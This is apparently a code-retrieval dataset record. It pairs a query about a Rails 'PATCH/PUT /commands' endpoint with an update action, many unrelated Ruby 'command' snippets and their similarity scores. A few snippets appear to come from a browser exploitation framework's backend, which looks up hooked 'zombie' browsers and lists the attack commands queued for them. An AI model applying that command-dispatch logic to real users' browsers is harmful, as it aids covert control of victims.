C.all(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|\n commands.push({\n 'id' => i, \n 'object_id' => command.id, \n 'creationdate' => Time.at(command.creationdate.to_i).strftime(\"%Y-%m-%d %H:%M\").to_s, \n 'label' => command.label\n })\n i+=1\n end\n \n @body = {\n 'success' => 'true', \n 'commands' => commands}.to_json\n \n end", "def command\n @command ||= command_for(:query)\n end", "def commands\n\n {\n 'TODO' => \"This one shout take its sub commands from current(headers/body) variables and the key value should be the command description\n This one should depend on current context\"\n }\n\n end", "def command(name)\n load_commands.select { |lc| lc.type == name.to_sym }\n end", "def get(path)\n command(\"get #{escape(path)}\")\n end", "def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end", "def command(*args)\n return unless alive?\n\n payload = {\n \"command\" => args,\n }\n\n @command_queue << JSON.generate(payload)\n\n @result_queue.pop\n end", "def create\n @command = Command.new(command_params)\n\n respond_to do |format|\n if @command.save\n format.json { render json: @command }\n else\n format.json { render json: @command.errors, status: 401 }\n end\n end\n end", "def command(name)\n commands.find { |command| command.name == name.to_s }\n end", "def command_params\n params[:command]\n end", "def command\n @command ||= command_for(:query)\n end", "def command command_string\n connection.command self.id, nil, command_string\n end", "def commands\n @commands ||= []\n end", "def commands\n self.class.commands\n end", "def do_raw_command\n return unless command\n return pretty_status(JSON.parse(do_command(command)))\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def command\n attributes.fetch(:command)\n end", "def command\n attributes.fetch(:command)\n end", "def api_v11_cm_service_commands_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_cm_service_commands_get ...\"\n end\n \n # resource path\n path = \"/api/v11/cm/service/commands\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'view'] = opts[:'view'] if opts[:'view']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_cm_service_commands_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get\n execute(:get)\n end", "def get\n execute(:get)\n end", "def command_list m\n get_list escape m.channel.to_s #logic/pug\n end", "def get(key)\n send_command([:get, key])\n end", "def update\n respond_to do |format|\n if @command.update(command_params)\n format.json { render :json => @command }\n else\n format.json { render json: @command.errors, status: 401 }\n end\n end\n end", "def command(*args)\n request_id = next_id\n payload = { \"command\" => args, \"request_id\" => request_id }\n @socket.puts(JSON.generate(payload))\n @replies.pop(request_id)\n end", "def command_params\n params.require(:command).permit(:name, :json)\n end", "def command\n\n h.fields['__command__']\n end", "def [](cmd_val)\n k = Argument.to_key(cmd_val)\n @commands[k]\n end", "def at_index\n return @commands[@index]\n end", "def run_command(command, options)\n response = get(command, options)\n\n JSON.parse(response.body)['data']\n rescue StandardError => err\n raise RequestError, err.message\n end", "def command\n @attributes['command']\n end", "def set_command\n @command = Command.find_by(id: params[:id])\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def command\n @property[:command]\n end", "def client_commands\n @client_commands ||= []\n end", "def cmd_list argv\n setup argv\n type = @hash['type']\n response = @api.list(type)\n if response.is_a?(Array)\n response.each do | r |\n msg r\n end\n else\n msg response\n end\n return response\n end", "def help(command = nil)\n @api.request 'help', command\n end", "def create\n @command = current_user.commands.build(command_params)\n\n respond_to do |format|\n if @command.save\n format.html { redirect_to @command, notice: \"Command is queued to run...\" }\n format.json { render :show, status: :created, location: @command }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @command.errors, status: :unprocessable_entity }\n end\n end\n end", "def get args = []\n\t\t\trequire 'simrb/comd'\n\t\t\tsimrb_app = Simrb::Scommand.new\n\t\t\tsimrb_app.run(args.unshift('get'))\n\t\tend", "def info(command)\n if !command[1] || command[1].empty?\n puts \"please specify item to get\"\n else\n path = '/' + clean_up(command[1])\n pp @client.files.info(path)\n end\n end", "def get_command(name)\n @commands.select {|c| c.invokers.include? name}.compact[0]\n end", "def commands\n ensure_cache_up_to_date\n commands = self.redis.keys(\"bluster:objects:command:*\")\n commands.map! { |r| r.split(\":\")[3] }\n commands.uniq\n end", "def call(command)\n response = nil\n begin\n @mutex.synchronize do\n @socket.print \"#{command}\\r\\n\"\n line = @socket.readline\n warn line if $DEBUG\n response = JSON.parse(line, symbolize_names: true)\n end\n rescue EOFError => ex\n warn \"EOFError occured (server: #{@current_server})\"\n reconnect\n rescue => ex\n reconnect\n raise \"An Error occured: #{ex.class} (server: #{@current_server})\\n#{ex.message}\"\n else\n raise response[:error] if response.has_key?(:error)\n return response\n end\n end", "def create\n @command = Command.new(command_params)\n\n if @command.save\n render :show, status: :created, location: @command\n else\n render json: @command.errors, status: :unprocessable_entity\n end\n end", "def subcommands\n @subcommands ||= []\n end" ]
[ "0.73789227", "0.72582626", "0.71749294", "0.6883389", "0.6883389", "0.66961443", "0.647931", "0.6421412", "0.6288571", "0.6256665", "0.6251238", "0.623424", "0.6193243", "0.615816", "0.6076257", "0.6066263", "0.6066263", "0.6066263", "0.6053511", "0.6050643", "0.60484695", "0.604411", "0.60317445", "0.59975094", "0.5984837", "0.59772533", "0.59672475", "0.593108", "0.5929194", "0.59249914", "0.5883086", "0.58784586", "0.5870246", "0.58567405", "0.58533514", "0.5819719", "0.5819237", "0.58162993", "0.5792572", "0.5768257", "0.57633406", "0.57633406", "0.57268476", "0.5724071", "0.5722113", "0.5714466", "0.5712032", "0.5712032", "0.5712032", "0.5712032", "0.5712032", "0.5712032", "0.5708669", "0.57008725", "0.5700727", "0.56984717", "0.5684092", "0.5679398", "0.56791675", "0.56630975", "0.56522024", "0.5641038", "0.56370604", "0.5629696", "0.5626891", "0.55913854", "0.5591147", "0.5590088", "0.5589905", "0.5589905", "0.5589905", "0.55734795", "0.55734795", "0.5554967", "0.5553804", "0.5553804", "0.5550695", "0.55398303", "0.5518534", "0.5516188", "0.55076826", "0.5493021", "0.5489683", "0.548278", "0.5467008", "0.545112", "0.54440254", "0.5431585", "0.5424162", "0.5416343", "0.5406095", "0.5394797", "0.5380541", "0.53736925", "0.5372064", "0.5370437", "0.5368619", "0.53647256", "0.53549194", "0.5343763" ]
0.62910324
8
POST /commands POST /commands.json
def create @command = Command.new(command_params) respond_to do |format| if @command.save format.json { render json: @command } else format.json { render json: @command.errors, status: 401 } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def command_params\n params.require(:command).permit(:name, :json)\n end", "def create\n @command = current_user.commands.build(command_params)\n\n respond_to do |format|\n if @command.save\n format.html { redirect_to @command, notice: \"Command is queued to run...\" }\n format.json { render :show, status: :created, location: @command }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @command.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @command = Command.new(command_params)\n\n respond_to do |format|\n if @command.save\n format.html { redirect_to @command, notice: 'Command was successfully created.' }\n format.json { render :show, status: :created, location: @command }\n else\n format.html { render :new }\n format.json { render json: @command.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @command = Command.new(command_params)\n\n if @command.save\n render :show, status: :created, location: @command\n else\n render json: @command.errors, status: :unprocessable_entity\n end\n end", "def command_params\n params.permit(:command_name, :post_id)\n end", "def command_params\n params.require(:command).permit(:text)\n end", "def command_params\n params.fetch(:command, {}).permit(:name, :status, :executed_at)\n end", "def commands(params = {})\n res = @client.get(\"#{path}/commands\", params)\n\n res.json[\"commands\"].map { |atts| M2X::Client::Command.new(@client, atts) } if res.success?\n end", "def index\n @commands = Command.all\n render :json => @commands\n end", "def cmd_execute(endpoint, commands)\n url = \"http://#{host}:#{port}/#{endpoint.to_s}?#{query_string(commands)}\"\n open(url) do |file|\n JSON.parse(file.read)\n end\n end", "def commands\n {\n }\n end", "def command_params\n params.permit(:text, :token, :user_id, :response_url, :team_id, :team_domain, :channel_id,\n :channel_name, :user_name, :command, :trigger_id)\n end", "def command(*args)\n return unless alive?\n\n payload = {\n \"command\" => args,\n }\n\n @command_queue << JSON.generate(payload)\n\n @result_queue.pop\n end", "def add_commands\n end", "def create\n @command_item = CommandItem.new(params[:command_item])\n\n respond_to do |format|\n if @command_item.save\n format.html { redirect_to @command_item, notice: 'Command item was successfully created.' }\n format.json { render json: @command_item, status: :created, location: @command_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @command_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def commands\n\t\t{ }\n\tend", "def command(id)\n res = @client.get(\"#{path}/commands/#{id}\")\n\n M2X::Client::Command.new(@client, res.json) if res.success?\n end", "def create\n @controlcommand = Controlcommand.new(controlcommand_params)\n\n respond_to do |format|\n if @controlcommand.save\n format.html { redirect_to @controlcommand, notice: 'Controlcommand was successfully created.' }\n format.json { render :show, status: :created, location: @controlcommand }\n else\n format.html { render :new }\n format.json { render json: @controlcommand.errors, status: :unprocessable_entity }\n end\n end\n end", "def nav(commands:)\n commands.each do |command|\n if @commands.has_key?(command)\n conn = multipart_connection(port: 8060)\n\n path = \"/keypress/#{@commands[command]}\"\n @logger.debug(\"Send Command: \"+path)\n response = conn.post path\n return false unless response.success?\n else\n return false\n end\n end\n return true\n end", "def create\n @step_command = StepCommand.new(step_command_params)\n\n respond_to do |format|\n if @step_command.save\n format.html { redirect_to @step_command, notice: 'Step command was successfully created.' }\n format.json { render :show, status: :created, location: @step_command }\n else\n format.html { render :new }\n format.json { render json: @step_command.errors, status: :unprocessable_entity }\n end\n end\n end", "def yoyow_command (command:nil, params:nil, timeout:55)\n if command.nil? or params.nil?\n return\n end\n data = {\n \"jsonrpc\" => \"2.0\",\n \"method\" => command,\n \"params\" => params,\n \"id\" => 0\n }\n return yoyow_post data:data, timeout:timeout\nend", "def command\n wall = Wall.find_by(path: params[:path])\n cmd = params[:wall][:command]\n ce = CommandExecutor.new(wall: wall, command: cmd)\n\n result = ce.run!\n\n respond_to do |format|\n if result[:success]\n flash[:notice] = 'Command Successful'\n format.html { redirect_to wall_path wall }\n format.json { render json: result, status: 200 }\n else\n flash[:notice] = 'Command Failed'\n format.html { redirect_to wall_path wall }\n format.json { render json: result, status: 406 }\n end\n end\n end", "def command_params\n params[:command]\n end", "def create\n @command_item = CommandItem.new(command_item_params)\n\n respond_to do |format|\n if @command_item.save\n format.html { redirect_to @command_item, notice: 'Блок успешно создан!' }\n format.json { render :show, status: :created, location: @command_item }\n else\n format.html { render :new }\n format.json { render json: @command_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def commands\n {}\n end", "def json_api_command(command, stdin = nil, *args)\n res = api_command(command, stdin, *args)\n return res if res.nil? || res == ''\n JSON.parse(res, symbolize_names: true, object_class: ActiveSupport::HashWithIndifferentAccess)\n end", "def command_params\n params.fetch(:command, {})\n end", "def send_hash(cmd_hash)\n json = JSON.generate(cmd_hash)\n send_json() \n end", "def cmd_create argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.create(json, e)\n msg response\n return response\n end", "def send_command(command,args)\n puts \"Send Command #{command}: #{args}\"\n send_socket({command: command, args: args}.to_json)\n end", "def commands\n\n {\n 'TODO' => \"This one shout take its sub commands from current(headers/body) variables and the key value should be the command description\n This one should depend on current context\"\n }\n\n end", "def commands\n {\n 'headers' => 'Show post headers.',\n 'body' => 'Show post body.',\n 'full_post' => 'Show full post, headers & body.'\n }\n end", "def api_v11_cm_service_commands_start_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_cm_service_commands_start_post ...\"\n end\n \n # resource path\n path = \"/api/v11/cm/service/commands/start\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_cm_service_commands_start_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def command(commands, zone = nil)\n params = {}\n\n if zone\n params[:ZoneName] = zone\n end\n\n Array(commands).flatten.each_with_index do |cmd, idx|\n params[\"cmd#{idx}\"] = cmd\n end\n\n request(\"/MainZone/index.put.asp\", params)\n end", "def create\n @command_parameter = CommandParameter.new(params[:command_parameter])\n\n respond_to do |format|\n if @command_parameter.save\n format.html { redirect_to @command_parameter, notice: 'Command parameter was successfully created.' }\n format.json { render json: @command_parameter, status: :created, location: @command_parameter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @command_parameter.errors, status: :unprocessable_entity }\n end\n end\n end", "def commands; end", "def make_command_list\n add_command(Vocab.reg_username_cmd, :name)\n add_command(Vocab.reg_avatar_cmd, :avatar)\n add_command(Vocab.change_title, :title)\n add_command(Vocab.reg_submit_cmd, :register, @registration_ok)\n end", "def update\n respond_to do |format|\n if @command.update(command_params)\n format.json { render :json => @command }\n else\n format.json { render json: @command.errors, status: 401 }\n end\n end\n end", "def set_commands; end", "def index\n @commands = Command.all\n end", "def index\n @commands = Command.all\n end", "def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend", "def select_command\n \n # get params\n command_id = @params['command_id'] || nil\n (print_error \"Command id is nil\";return) if command_id.nil?\n command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil\n (print_error \"Command is nil\";return) if command.nil?\n\n command_module = BeEF::Core::Models::CommandModule.get(command.command_module_id)\n (print_error \"command_module is nil\";return) if command_module.nil?\n\n if(command_module.path.split('/').first.match(/^Dynamic/))\n dyn_mod_name = command_module.path.split('/').last\n e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new\n else\n command_module_name = command_module.name\n e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name)\n end\n \n @body = {\n 'success' => 'true', \n 'command_module_name' => command_module_name,\n 'command_module_id' => command_module.id,\n 'data' => BeEF::Module.get_options(command_module_name),\n 'definition' => JSON.parse(e.to_json)\n }.to_json\n\n end", "def commands\n\t\t{\n\t\t\t\"add_user\" => \"Attempt to add a user with all tokens\",\n\t\t\t\"add_localgroup_user\" => \"Attempt to add a user to a local group with all tokens\",\n\t\t\t\"add_group_user\" => \"Attempt to add a user to a global group with all tokens\",\n\t\t\t\"list_tokens\" => \"List tokens available under current user context\",\n\t\t\t\"impersonate_token\" => \"Impersonate specified token\",\n\t\t\t\"snarf_hashes\" => \"Snarf challenge/response hashes for every token\"\n\t\t}\n\tend", "def create\n commands = fetch_commands\n Puppet.debug(\"Commands: #{commands}\")\n\n commands.each do |message, command|\n bring_up(message, command)\n end\n end", "def send_command(command)\n @client.write \"#{command}\\r\\n\"\n end", "def run(connection)\n connection.public_send(verb, path) do |request|\n request.params = params\n request.headers[:content_type] = Command::JSON_CONTENT_TYPE\n request.body = MultiJson.dump(body)\n end\n end", "def register_command cmd\n $commandlist << cmd\nend", "def new\n @command_item = CommandItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @command_item }\n end\n end", "def step_command_params\n params.require(:step_command).permit(:step_id, :command_id)\n end", "def api_v11_cm_service_role_commands_start_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_cm_service_role_commands_start_post ...\"\n end\n \n # resource path\n path = \"/api/v11/cm/service/roleCommands/start\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_cm_service_role_commands_start_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def command_request(method, key, meta = nil)\n document_command_url = Rails.configuration.urlSite + Rails.configuration.commandUrl # get the document command url\n\n # create a payload object with the method and key\n payload = {\n :c => method,\n :key => key\n }\n\n if (meta != nil)\n payload.merge!({:meta => meta})\n end\n\n data = nil\n begin\n\n uri = URI.parse(document_command_url) # parse the document command url\n http = Net::HTTP.new(uri.host, uri.port) # create a connection to the http server\n\n DocumentHelper.verify_ssl(document_command_url, http)\n\n req = Net::HTTP::Post.new(uri.request_uri) # create the post request\n req.add_field(\"Content-Type\", \"application/json\") # set headers\n\n if JwtHelper.is_enabled && JwtHelper.use_for_request # if the signature is enabled\n payload[\"token\"] = JwtHelper.encode(payload) # get token and save it to the payload\n jwtHeader = Rails.configuration.header.empty? ? \"Authorization\" : Rails.configuration.header; # get signature authorization header\n req.add_field(jwtHeader, \"Bearer #{JwtHelper.encode({ :payload => payload })}\") # set it to the request with the Bearer prefix\n end\n\n req.body = payload.to_json # convert the payload object into the json format\n res = http.request(req) # get the response\n data = res.body # and take its body\n rescue => ex\n raise ex.message\n end\n\n json_data = JSON.parse(data) # convert the response body into the json format\n return json_data\n end", "def commands\n @commands ||= []\n end", "def commands=(cmd)\n @queue << \"com #{cmd}\"\n end", "def command(type)\n end", "def send_command(parms=nil)\n #logger.debug \"AQUIII ESTOOOY \"\n\n\n url = URI.parse(@control_url)\n #logger.debug \"URL #{@control_url}\"\n req = Net::HTTP::Get.new(url.path)\n\n\n #logger.debug \"URLpath #{url.path}\"\n if parms\n\t\t#logger.debug \"sent data #{parms.to_json}\"\n end\n \n\n req.basic_auth @username, @password if @username\n if parms\n\t\treq.set_form_data(parms)\n end\n \n \n res = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) }\n res.use_ssl = true if @control_url =~ /^https/\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n #logger.debug \"REspuesta #{res}\"\n return res.body\n else\n res.error!\n end\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def commands\n\t\tall = {\n\t\t\t\"webcam_list\" => \"List webcams\",\n\t\t\t\"webcam_snap\" => \"Take a snapshot from the specified webcam\",\n\t\t\t\"record_mic\" => \"Record audio from the default microphone for X seconds\"\n\t\t}\n\t\treqs = {\n\t\t\t\"webcam_list\" => [ \"webcam_list\" ],\n\t\t\t\"webcam_snap\" => [ \"webcam_start\", \"webcam_get_frame\", \"webcam_stop\" ],\n\t\t\t\"record_mic\" => [ \"webcam_record_audio\" ],\n\t\t}\n\n\t\tall.delete_if do |cmd, desc|\n\t\t\tdel = false\n\t\t\treqs[cmd].each do |req|\n\t\t\t\tnext if client.commands.include? req\n\t\t\t\tdel = true\n\t\t\t\tbreak\n\t\t\tend\n\n\t\t\tdel\n\t\tend\n\n\t\tall\n\tend", "def command(*args)\n request_id = next_id\n payload = { \"command\" => args, \"request_id\" => request_id }\n @socket.puts(JSON.generate(payload))\n @replies.pop(request_id)\n end", "def create\n @tarot_bot = TarotBot.new(tarot_bot_params)\n\n if @tarot_bot.save\n render json: { status: :ok }\n else\n render json: { status: :internal_server_error }\n end\n end", "def handle_commands(command) # rubocop:todo Metrics/CyclomaticComplexity\n case command\n when '/start'\n greet_user\n when '/stop'\n send_message \"Bye, #{message.from.first_name}\"\n when '/help'\n send_message \"Please enter any of the following commands: #{@commands}\"\n when '/news'\n handle_news\n when '/subscribe'\n handle_subscribe command\n when '/update'\n handle_update\n when '/add_birthday'\n @name = message.text if @name_set and @name.empty?\n prompt_user command\n when '/add_my_birthday'\n prompt_user command\n when '/add_anniversary'\n @name = message.text if @name_set and @name.empty?\n prompt_user command\n\n end\n end", "def commands\n {\n # meta commands\n 'dradis_config' => \"Show Dradis API configuration (#{config_file})\",\n 'dradis_help'\t => 'Displays help',\n 'dradis_version' => 'Displays version information',\n\n # API commands\n 'dradis_add_node' => 'Add a new Node to dradis',\n 'dradis_nodes' => 'List all nodes'\n }\n end", "def post(command, *params)\n m = Message.new(nil, command, params.map {|s|\n if s\n #s.force_encoding(\"ASCII-8BIT\") if s.respond_to? :force_encoding\n #s.gsub(/\\r\\n|[\\r\\n]/, \" \")\n s.tr(\"\\r\\n\", \" \")\n else\n \"\"\n end\n })\n\n @log.debug \"SEND: #{m.to_s.chomp}\"\n @socket << m.to_s\n end", "def command cmd, help = \"\", &blk\n Bot::Commands.create self, cmd, help, &blk\n end", "def command_uri\n return \"/api_#{@command_name}.php\"\n end", "def command(*values)\n if values.empty?\n @properties.fetch(:command) { [] }\n else\n @properties[:command] = []\n values.each { |val| @properties[:command] << val }\n end\n end", "def destroy\n @command.destroy\n respond_to do |format|\n format.html { redirect_to commands_url, notice: 'Command was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def add_command(key, value)\n return unless key && value\n\n @commands ||= {}\n @commands[key] = value\n end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def set_command\n @command = Command.find(params[:id])\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def run_console_command(url, command, prefix=nil)\n output = post(url, { :command => command }, :accept => \"text/plain\").to_s\n return output unless prefix\n if output.include?(\"\\n\")\n lines = output.split(\"\\n\")\n (lines[0..-2] << \"#{prefix}#{lines.last}\").join(\"\\n\")\n else\n prefix + output\n end\n rescue RestClient::RequestFailed => e\n if e.http_code == 422\n Heroku::Command.extract_error(e.http_body, :raw => true)\n else\n raise e\n end\n end", "def register(command)\n args = command.split(\" \")[1..-1]\n params = { :name => args[0], :number => args[1], :email => args[2] }\n add_application(params)\nend", "def run_command\n cmd = case params[:button_id]\n when \"run-jsdoc\" then \"npm run jsdoc --silent\"\n when \"run-js-unit-tests\" then \"npm run teaspoon --silent\"\n when \"run-js-acceptance-tests\" then \"rails test:system RAILS_ENV=test\"\n when \"run-rails-unit-tests\" then \"rails test RAILS_ENV=test\"\n end\n\n task_id = Tasky.run cmd\n render json: params.merge(task_id: task_id)\n rescue Tasky::CommandError => e\n render json: params.merge(cmd_error: e.inspect)\n end", "def command_params\n params.require(:command).permit(:user_id, :table_id, :final_bill)\n end", "def commands\n COMMANDS\n end", "def create\n @mallet_command = MalletCommand.new(params[:mallet_command])\n\n respond_to do |format|\n if @mallet_command.save\n format.html { redirect_to @mallet_command, notice: 'Mallet command was successfully created.' }\n format.json { render json: @mallet_command, status: :created, location: @mallet_command }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mallet_command.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(username, groups = '', opts = {})\n payload = {\n :account => {\n :username => username,\n :comment => '',\n :groups => groups,\n :password => password_opts.merge(opts.fetch(:password, {}))\n }\n }\n @server.commands.get(post(payload)['command']['id'])\n end", "def deploy_commands(runtime)\n runtime.kubectl(\"create secret generic #{name} --from-literal=#{FIXED_FILE}=#{secret}\")\n end", "def queue_cmd(cmd)\n\t\tself.commands << cmd\n\tend", "def select_command_module_commands\n commands = []\n i=0\n\n # get params\n zombie_session = @params['zombie_session'] || nil\n (print_error \"Zombie session is nil\";return) if zombie_session.nil?\n command_module_id = @params['command_module_id'] || nil\n (print_error \"command_module id is nil\";return) if command_module_id.nil?\n # validate nonce\n nonce = @params['nonce'] || nil\n (print_error \"nonce is nil\";return) if nonce.nil?\n (print_error \"nonce incorrect\";return) if @session.get_nonce != nonce\n \n # get the browser id\n zombie = Z.first(:session => zombie_session)\n (print_error \"Zombie is nil\";return) if zombie.nil?\n zombie_id = zombie.id\n (print_error \"Zombie id is nil\";return) if zombie_id.nil?\n \n C.all(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|\n commands.push({\n 'id' => i, \n 'object_id' => command.id, \n 'creationdate' => Time.at(command.creationdate.to_i).strftime(\"%Y-%m-%d %H:%M\").to_s, \n 'label' => command.label\n })\n i+=1\n end\n \n @body = {\n 'success' => 'true', \n 'commands' => commands}.to_json\n \n end", "def set_command\n @command = Command.find_by(id: params[:id])\n end", "def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end", "def commands\n load_commands unless @commands\n @commands\n end", "def post(name, &commands)\n @commands_to_run = []\n commands.call\n @to_perform << Hook.new({\n :type => :post,\n :name => name,\n :commands => commands_to_run\n })\n end", "def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end", "def create_commands args\n command = String.new\n args.each do |arg|\n command << arg << \" \" \n end\n command\n end", "def destroy\n @command.destroy\n respond_to do |format|\n format.html { redirect_to commands_url, notice: 'La commande a été détruite.' }\n format.json { head :no_content }\n end\n end", "def command(command, paths)\n # default is list\n return list([]) if command.nil?\n # choose other command\n case command\n when 'create' then create paths\n when 'list' then list paths\n when 'finish' then finish paths\n when 'unfinish' then unfinish paths\n when 'cleanup' then cleanup paths\n when 'help' then help\n else unknown_command(command)\n end\n end", "def get_command\n\t\ttext = read.chomp\n\t\tcommand = {}\n\t\tif text =~ /PASS/i\n\t\t\tcommand[:pass] = true\n\t\telsif text =~ /ADD\\W+(\\d+)\\W+\\((.*?)\\),?\\W+\\((.*?)\\)/i\n\t\t\tcommand[:action] = :add\n\t\t\tcommand[:id] = $1.to_i # FUTURE spec says it is 4 digits max\n\t\t\tcommand[:points] = [$2,$3].collect do |p|\n\t\t\t\tx,y = p.split(\",\")\n\t\t\t\t{:x => x.to_i, :y => y.to_i}\n\t\t\tend\n\t\telsif text =~ /REMOVE\\W+(\\d+)/\n\t\t\tcommand[:action] = :remove\n\t\t\tcommand[:id] = $1.to_i # FUTURE spec says it is 4 digits max\n\t\tend\n\t\tcommand\n\tend", "def command command_string\n connection.command self.id, nil, command_string\n end", "def listen\n command = gets\n\n command_name, *args = command.split(COMMAND_SEPERATOR)\n\n if FARM_ACTIVITY_COMMANDS.key?(command_name)\n command_object = build_farm_command(command_name, args)\n elsif UTILITY_COMMANDS.key?(command_name)\n command_object = build_utility_command(command_name, args)\n end\n\n commands.push command_object\n end", "def formulate_command\n @command\n end" ]
[ "0.7092538", "0.6900521", "0.6764133", "0.67391413", "0.64927304", "0.6273162", "0.6253894", "0.62021655", "0.6165331", "0.6063389", "0.6036017", "0.6025217", "0.6019788", "0.5955273", "0.59393644", "0.59293926", "0.59288085", "0.5922161", "0.58942914", "0.58630234", "0.58289117", "0.57839495", "0.5781105", "0.5772728", "0.5754462", "0.5733736", "0.5722841", "0.5717505", "0.56578374", "0.5652249", "0.5640338", "0.5582014", "0.55731297", "0.5554972", "0.5548218", "0.55379605", "0.5520298", "0.5519986", "0.5505242", "0.55005014", "0.55005014", "0.5463943", "0.54415184", "0.5426789", "0.5409753", "0.54090977", "0.5405282", "0.53995734", "0.5377037", "0.5376812", "0.5362698", "0.5343302", "0.5331412", "0.53116095", "0.5299242", "0.5295429", "0.52848244", "0.52848244", "0.5266949", "0.52590656", "0.52569234", "0.5256082", "0.5252217", "0.523129", "0.5228563", "0.52230763", "0.52224123", "0.52185404", "0.5213984", "0.5211932", "0.5211932", "0.5211932", "0.5211932", "0.5211932", "0.5211932", "0.520218", "0.520218", "0.520218", "0.5197368", "0.51961863", "0.51960206", "0.5193874", "0.518471", "0.5166735", "0.51621586", "0.5161402", "0.516102", "0.5151013", "0.5146626", "0.51427484", "0.5142201", "0.513526", "0.5128048", "0.51264894", "0.5116234", "0.5112383", "0.51095563", "0.50985533", "0.509101", "0.50877535" ]
0.7124352
0
PATCH/PUT /commands/1 PATCH/PUT /commands/1.json
def update respond_to do |format| if @command.update(command_params) format.json { render :json => @command } else format.json { render json: @command.errors, status: 401 } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
